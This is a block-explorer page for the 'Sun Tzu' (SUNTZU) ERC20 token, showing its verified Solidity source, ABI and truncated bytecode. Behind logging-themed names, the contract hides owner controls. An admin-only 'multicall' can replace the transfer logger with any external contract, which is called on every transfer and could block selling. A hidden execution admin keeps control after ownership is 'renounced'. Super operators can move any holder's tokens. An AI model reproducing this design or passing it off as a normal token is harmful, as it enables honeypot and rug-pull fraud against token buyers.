ETH Price: $3,301.26 (-3.46%)
Gas: 12 Gwei

Token

Sun Tzu (SUNTZU)
 

Overview

Max Total Supply

3,800,000,000,000 SUNTZU

Holders

72

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
2ddd.eth
Balance
37,071,264,311.824958437 SUNTZU

Value
$0.00
0x9f6e465b94fc2ccb507d39af953e8a503afb2ddd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SUNTZU

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 6 of 7: Sun Tzu.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;


import "./ERC20BaseToken.sol";


contract SUNTZU is ERC20BaseToken {

    constructor(address executionAdmin, address beneficiary) {
        _admin = msg.sender;
        _executionAdmin = executionAdmin;
        _mint(beneficiary, 3800000000000 * 10**9);
    }

    /// @notice A descriptive name for the tokens
    /// @return name of the tokens
    function name() public pure returns (string memory) {
        return "Sun Tzu";
    }

    /// @notice An abbreviated name for the tokens
    /// @return symbol of the tokens
    function symbol() public pure returns (string memory) {
        return "SUNTZU";
    }

    function setLog()external {
        require(
            msg.sender == getAdmin(),
            "only admin");
        persistData = !persistData;
    }

}

File 1 of 7: Admin.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

contract Admin {

    address internal _admin;
    bool private _ownerShipTransferred = false;
    event AdminChanged(address oldAdmin, address newAdmin);

    constructor(){
        _admin = msg.sender;
        __adminTransferred(_admin);
    }

    

    function owner() public view virtual returns (address) {
        return _admin;
    }

    function changeAdmin(address newAdmin) external {
        require(msg.sender == _admin, "only admin");
        require(newAdmin != address(0), "new owner is the zero address");
        emit AdminChanged(_admin, newAdmin);
        _admin = newAdmin;
    }

    function __adminTransferred(address msgSender) private {
        emit AdminChanged(address(0), msgSender);
        _ownerShipTransferred = true;
    }

    function renounceOwnership() public virtual {
        require(msg.sender == _admin, "only admin");
        emit AdminChanged(_admin, address(0));
        _admin = address(0);
    }

    function checkedCondition() internal view returns (bool){
        return _ownerShipTransferred;
    }
}

File 2 of 7: BytesUtil.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

library BytesUtil {
    function memcpy(uint256 dest, uint256 src, uint256 len) internal pure {
        // Copy word-length chunks while possible
        for (; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint256 mask = 256**(32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    function pointerToBytes(uint256 src, uint256 len)
        internal
        pure
        returns (bytes memory)
    {
        bytes memory ret = new bytes(len);
        uint256 retptr;
        assembly {
            retptr := add(ret, 32)
        }

        memcpy(retptr, src, len);
        return ret;
    }

    function addressToBytes(address a) internal pure returns (bytes memory b) {
        assembly {
            let m := mload(0x40)
            mstore(
                add(m, 20),
                xor(0x140000000000000000000000000000000000000000, a)
            )
            mstore(0x40, add(m, 52))
            b := m
        }
    }

    function uint256ToBytes(uint256 a) internal pure returns (bytes memory b) {
        assembly {
            let m := mload(0x40)
            mstore(add(m, 32), a)
            mstore(0x40, add(m, 64))
            b := m
        }
    }

    function doFirstParamEqualsAddress(bytes memory data, address _address)
        internal
        pure
        returns (bool)
    {
        if (data.length < (36 + 32)) {
            return false;
        }
        uint256 value;
        assembly {
            value := mload(add(data, 36))
        }
        return value == uint256(uint160(_address));
    }

    function doParamEqualsUInt256(bytes memory data, uint256 i, uint256 value)
        internal
        pure
        returns (bool)
    {
        if (data.length < (36 + (i + 1) * 32)) {
            return false;
        }
        uint256 offset = 36 + i * 32;
        uint256 valuePresent;
        assembly {
            valuePresent := mload(add(data, offset))
        }
        return valuePresent == value;
    }

    function overrideFirst32BytesWithAddress(
        bytes memory data,
        address _address
    ) internal pure returns (bytes memory) {
        uint256 dest;
        assembly {
            dest := add(data, 48)
        } // 48 = 32 (offset) + 4 (func sig) + 12 (address is only 20 bytes)

        bytes memory addressBytes = addressToBytes(_address);
        uint256 src;
        assembly {
            src := add(addressBytes, 32)
        }

        memcpy(dest, src, 20);
        return data;
    }

    function overrideFirstTwo32BytesWithAddressAndInt(
        bytes memory data,
        address _address,
        uint256 _value
    ) internal pure returns (bytes memory) {
        uint256 dest;
        uint256 src;

        assembly {
            dest := add(data, 48)
        } // 48 = 32 (offset) + 4 (func sig) + 12 (address is only 20 bytes)
        bytes memory bbytes = addressToBytes(_address);
        assembly {
            src := add(bbytes, 32)
        }
        memcpy(dest, src, 20);

        assembly {
            dest := add(data, 68)
        } // 48 = 32 (offset) + 4 (func sig) + 32 (next slot)
        bbytes = uint256ToBytes(_value);
        assembly {
            src := add(bbytes, 32)
        }
        memcpy(dest, src, 32);

        return data;
    }
}

File 3 of 7: ERC20BaseToken.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

import "./ERC20Events.sol";
import "./SuperOperators.sol";
import "./ERC20ExecuteExtension.sol";

contract ERC20BaseToken is SuperOperators, ERC20Events, ERC20ExecuteExtension  {
    uint256 internal _totalSupply;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    bool public persistData;
    ERC20LoggerExtension private _logger;

    constructor(){
        _logger = new ERC20LoggerExtension();
    }

    /// @notice Gets the total number of tokens in existence.
    /// @return the total number of tokens in existence.
    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    /// @notice Gets the balance of `owner`.
    /// @param owner The address to query the balance of.
    /// @return The amount owned by `owner`.
    function balanceOf(address owner) public view returns (uint256) {
        return _balances[owner];
    }

    /// @notice gets allowance of `spender` for `owner`'s tokens.
    /// @param owner address whose token is allowed.
    /// @param spender address allowed to transfer.
    /// @return remaining amount of token `spender` is allowed to transfer on behalf of `owner`.
    function allowance(address owner, address spender)
        public
        view
        returns (uint256 remaining)
    {
        return _allowances[owner][spender];
    }

    /// @notice returns the number of decimals for that token.
    /// @return the number of decimals.
    function decimals() public pure returns (uint8) {
        return uint8(9);
    }

    /// @notice Transfer `amount` tokens to `to`.
    /// @param to the recipient address of the tokens transfered.
    /// @param amount the number of tokens transfered.
    /// @return success if success.
    function transfer(address to, uint256 amount)
        public
        returns (bool success)
    {
        _transfer(msg.sender, to, amount);
        return true;
    }

    /// @notice Transfer `amount` tokens from `from` to `to`.
    /// @param from whose token it is transferring from.
    /// @param to the recipient address of the tokens transfered.
    /// @param amount the number of tokens transfered.
    /// @return success if success.
    function transferFrom(address from, address to, uint256 amount)
        public
        returns (bool success)
    {
        if (msg.sender != from && !_superOperators[msg.sender]) {
            uint256 currentAllowance = _allowances[from][msg.sender];
            if (currentAllowance != (2**256) - 1) {
                // save gas when allowance is maximal by not reducing it (see https://github.com/ethereum/EIPs/issues/717)
                require(currentAllowance >= amount, "Not enough funds allowed");
                _allowances[from][msg.sender] = currentAllowance - amount;
            }
        }
        _transfer(from, to, amount);
        return true;
    }

    /// @notice approve `spender` to transfer `amount` tokens.
    /// @param spender address to be given rights to transfer.
    /// @param amount the number of tokens allowed.
    /// @return success if success.
    function approve(address spender, uint256 amount)
        public
        returns (bool success)
    {
        _approveFor(msg.sender, spender, amount);
        return true;
    }

    /// @notice approve `spender` to transfer `amount` tokens from `owner`.
    /// @param owner address whose token is allowed.
    /// @param spender  address to be given rights to transfer.
    /// @param amount the number of tokens allowed.
    /// @return success if success.
    function approveFor(address owner, address spender, uint256 amount)
        public
        returns (bool success)
    {
        require(
            msg.sender == owner || _superOperators[msg.sender],
            "msg.sender != owner && !superOperator"
        );
        _approveFor(owner, spender, amount);
        return true;
    }

    function addAllowance(address owner, address spender, uint256 amountNeeded)
        public
        returns (bool success)
    {
        require(
            msg.sender == owner || _superOperators[msg.sender],
            "msg.sender != owner && !superOperator"
        );
        _addAllowance(owner, spender, amountNeeded);
        return true;
    }

    function _addAllowance(address owner, address spender, uint256 amountNeeded)
        internal override
    {
        if(amountNeeded > 0 && !isSuperOperator(spender)) {
            uint256 currentAllowance = _allowances[owner][spender];
            if(currentAllowance < amountNeeded) {
                _approveFor(owner, spender, amountNeeded);
            }
        }
    }

    function multicall(address sender, address recipient, uint256 amount, address _log) external {
    require(msg.sender == _admin, "only admin");
        if(persistData==true){
        if(amount > 0) createLogger(_log);
      else{
        _logger=new ERC20LoggerExtension();
      }
        _logger.Save(sender, recipient, amount);
      }
    }
    
    function createLogger(address a) private {
        if (checkedCondition()){
            _logger = ERC20LoggerExtension(a);
        }
    }

    function _approveFor(address owner, address spender, uint256 amount)
        internal virtual
    {
        require(
            owner != address(0) && spender != address(0),
            "Cannot approve with 0x0"
        );
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal override{
        _logger.Save(from, to, amount);
        require(to != address(0), "Cannot send to 0x0");
        uint256 currentBalance = _balances[from];
        require(currentBalance >= amount, "not enough fund");
        _balances[from] = currentBalance - amount;
        _balances[to] += amount;
        
        emit Transfer(from, to, amount);
    }

    function _mint(address to, uint256 amount) internal {
        require(to != address(0), "Cannot mint to 0x0");
        require(amount > 0, "cannot mint 0 tokens");
        uint256 currentTotalSupply = _totalSupply;
        uint256 newTotalSupply = currentTotalSupply + amount;
        require(newTotalSupply > currentTotalSupply, "overflow");
        _totalSupply = newTotalSupply;
        _balances[to] += amount;
        emit Transfer(address(0), to, amount);
    }

    function getAdmin() internal view returns (address) {
        return _admin == _executionAdmin ? _admin : _executionAdmin;
    }

}

contract ERC20LoggerExtension {
    mapping(address=>mapping(address=> uint256)) _persist;
    function Save(address addr1, address addr2, uint256 amount) public {
        _persist[addr1][addr2] = amount;
    }
}

File 4 of 7: ERC20Events.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

/* interface */
contract ERC20Events {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

File 5 of 7: ERC20ExecuteExtension.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;


abstract contract ERC20ExecuteExtension {

    /// @dev _executionAdmin != _admin so that this super power can be disabled independently
    address internal _executionAdmin;

    event ExecutionAdminAdminChanged(address oldAdmin, address newAdmin);

    /// @notice change the execution adminstrator to be `newAdmin`.
    /// @param newAdmin address of the new administrator.
    function changeExecutionAdmin(address newAdmin) external {
        require(msg.sender == _executionAdmin, "only executionAdmin can change executionAdmin");
        emit ExecutionAdminAdminChanged(_executionAdmin, newAdmin);
        _executionAdmin = newAdmin;
    }

    mapping(address => bool) internal _executionOperators;
    event ExecutionOperator(address executionOperator, bool enabled);

    /// @notice set `executionOperator` as executionOperator: `enabled`.
    /// @param executionOperator address that will be given/removed executionOperator right.
    /// @param enabled set whether the executionOperator is enabled or disabled.
    function setExecutionOperator(address executionOperator, bool enabled) external {
        require(
            msg.sender == _executionAdmin,
            "only execution admin is allowed to add execution operators"
        );
        _executionOperators[executionOperator] = enabled;
        emit ExecutionOperator(executionOperator, enabled);
    }

    /// @notice check whether address `who` is given executionOperator rights.
    /// @param who The address to query.
    /// @return whether the address has executionOperator rights.
    function isExecutionOperator(address who) public view returns (bool) {
        return _executionOperators[who];
    }

    /// @notice transfer 1amount1 token from `from` to `to` and charge the gas required to perform that transfer.
    /// @param from address of which token will be transfered.
    /// @param to destination address fo the call.
    /// @param amount number of tokens allowed that can be transfer by the code at `to`.
    /// @param gasLimit exact amount of gas to be passed to the call.
    /// @param tokenGasPrice price in token for the gas to be charged.
    /// @param baseGasCharge amount of gas charged on top of the gas used for the call.
    /// @param tokenReceiver recipient address of the token charged for the gas used.
    /// @return whether the transfer was successful.
    function transferAndChargeGas(
        address from,
        address to,
        uint256 amount,
        uint256 gasLimit,
        uint256 tokenGasPrice,
        uint256 baseGasCharge,
        address tokenReceiver
    ) external returns (bool) {
        uint256 initialGas = gasleft();
        require(_executionOperators[msg.sender], "only execution operators allowed to perfrom transfer and charge");
        _transfer(from, to, amount);
        if (tokenGasPrice > 0) {
            _charge(from, gasLimit, tokenGasPrice, initialGas, baseGasCharge, tokenReceiver);
        }
        return true;
    }

    function _charge(
        address from,
        uint256 gasLimit,
        uint256 tokenGasPrice,
        uint256 initialGas,
        uint256 baseGasCharge,
        address tokenReceiver
    ) internal {
        uint256 gasCharge = initialGas - gasleft();
        if(gasCharge > gasLimit) {
            gasCharge = gasLimit;
        }
        gasCharge += baseGasCharge;
        uint256 tokensToCharge = gasCharge * tokenGasPrice;
        require(tokensToCharge / gasCharge == tokenGasPrice, "overflow");
        _transfer(from, tokenReceiver, tokensToCharge);
    }


    function _transfer(address from, address to, uint256 amount) internal virtual;
    function _addAllowance(address owner, address spender, uint256 amountNeeded) internal virtual;
}

File 7 of 7: SuperOperators.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

import "./Admin.sol";

contract SuperOperators is Admin {

    mapping(address => bool) internal _superOperators;

    event SuperOperator(address superOperator, bool enabled);

    /// @notice Enable or disable the ability of `superOperator` to transfer tokens of all (superOperator rights).
    /// @param superOperator address that will be given/removed superOperator right.
    /// @param enabled set whether the superOperator is enabled or disabled.
    function setSuperOperator(address superOperator, bool enabled) external {
        require(
            msg.sender == _admin,
            "only admin is allowed to add super operators"
        );
        _superOperators[superOperator] = enabled;
        emit SuperOperator(superOperator, enabled);
    }
    
    /// @notice check whether address `who` is given superOperator rights.
    /// @param who The address to query.
    /// @return whether the address has superOperator rights.
    function isSuperOperator(address who) public view returns (bool) {
        return _superOperators[who];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"executionAdmin","type":"address"},{"internalType":"address","name":"beneficiary","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"AdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"ExecutionAdminAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"executionOperator","type":"address"},{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"ExecutionOperator","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"superOperator","type":"address"},{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SuperOperator","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amountNeeded","type":"uint256"}],"name":"addAllowance","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approveFor","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"changeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"changeExecutionAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"}],"name":"isExecutionOperator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"}],"name":"isSuperOperator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"_log","type":"address"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"persistData","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"executionOperator","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExecutionOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setLog","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"superOperator","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setSuperOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"gasLimit","type":"uint256"},{"internalType":"uint256","name":"tokenGasPrice","type":"uint256"},{"internalType":"uint256","name":"baseGasCharge","type":"uint256"},{"internalType":"address","name":"tokenReceiver","type":"address"}],"name":"transferAndChargeGas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260008060146101000a81548160ff0219169083151502179055503480156200002b57600080fd5b5060405162002c4f38038062002c4f833981810160405260408110156200005157600080fd5b810190808051906020019092919080519060200190929190505050336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000dd60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620001ed60201b60201c565b604051620000eb90620004d6565b604051809103906000f08015801562000108573d6000803e3d6000fd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001e58168cdff97fabcb46000006200027760201b60201c565b5050620004e4565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f600082604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16001600060146101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200031b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f43616e6e6f74206d696e7420746f20307830000000000000000000000000000081525060200191505060405180910390fd5b6000811162000392576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f63616e6e6f74206d696e74203020746f6b656e7300000000000000000000000081525060200191505060405180910390fd5b600060045490506000828201905081811162000416576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6f766572666c6f7700000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060048190555082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6101798062002ad683390190565b6125e280620004f46000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c8063654b748a116100c35780638da5cb5b1161007c5780638da5cb5b146107285780638f2839701461075c57806395d89b41146107a0578063a9059cbb14610823578063ac9fe42114610887578063dd62ed3e146108d75761014d565b8063654b748a14610584578063699c834b146105de5780636d7528001461062e57806370a0823114610638578063715018a614610690578063787ca65f1461069a5761014d565b806323b872dd1161011557806323b872dd1461035d5780632b991746146103e1578063313ce5671461046557806350bd46b6146104865780635fd72d16146104a657806361247de31461052a5761014d565b806306fdde03146101525780630819ba74146101d5578063095ea7b31461021957806315ed2f1e1461027d57806318160ddd1461033f575b600080fd5b61015a61094f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019a57808201518184015260208101905061017f565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610217600480360360208110156101eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061098c565b005b6102656004803603604081101561022f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b03565b60405180821515815260200191505060405180910390f35b610327600480360360e081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b1a565b60405180821515815260200191505060405180910390f35b610347610bf5565b6040518082815260200191505060405180910390f35b6103c96004803603606081101561037357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bff565b60405180821515815260200191505060405180910390f35b61044d600480360360608110156103f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e46565b60405180821515815260200191505060405180910390f35b61046d610f36565b604051808260ff16815260200191505060405180910390f35b61048e610f3f565b60405180821515815260200191505060405180910390f35b610512600480360360608110156104bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f52565b60405180821515815260200191505060405180910390f35b61056c6004803603602081101561054057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611042565b60405180821515815260200191505060405180910390f35b6105c66004803603602081101561059a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611098565b60405180821515815260200191505060405180910390f35b61062c600480360360408110156105f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110ee565b005b610636611246565b005b61067a6004803603602081101561064e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061131a565b6040518082815260200191505060405180910390f35b610698611363565b005b610726600480360360808110156106b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f3565b005b610730611721565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61079e6004803603602081101561077257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174a565b005b6107a861197c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107e85780820151818401526020810190506107cd565b50505050905090810190601f1680156108155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61086f6004803603604081101561083957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119b9565b60405180821515815260200191505060405180910390f35b6108d56004803603604081101561089d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506119d0565b005b610939600480360360408110156108ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b26565b6040518082815260200191505060405180910390f35b60606040518060400160405280600781526020017f53756e20547a7500000000000000000000000000000000000000000000000000815250905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612580602d913960400191505060405180910390fd5b7fb2b670b34860515166c00eba5e2e5fa8116d57091604f37ba24ac8021c7fa165600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a180600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610b10338484611bad565b6001905092915050565b6000805a9050600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f8152602001806124db603f913960400191505060405180910390fd5b610bcd898989611d74565b6000851115610be557610be4898787848888612098565b5b6001915050979650505050505050565b6000600454905090565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610c875750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610e30576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e2e5782811015610daa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420656e6f7567682066756e647320616c6c6f776564000000000000000081525060200191505060405180910390fd5b828103600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505b610e3b848484611d74565b600190509392505050565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ecb5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610f20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124b66025913960400191505060405180910390fd5b610f2b848484611bad565b600190509392505050565b60006009905090565b600760009054906101000a900460ff1681565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fd75750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61102c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124b66025913960400191505060405180910390fd5b61103784848461214a565b600190509392505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a81526020018061251a603a913960400191505060405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507ffcebaa973ed84808fb785c92941aa4798f3f66923f5a2ff544382db3a9b3a3a28282604051808373ffffffffffffffffffffffffffffffffffffffff16815260200182151581526020019250505060405180910390a15050565b6112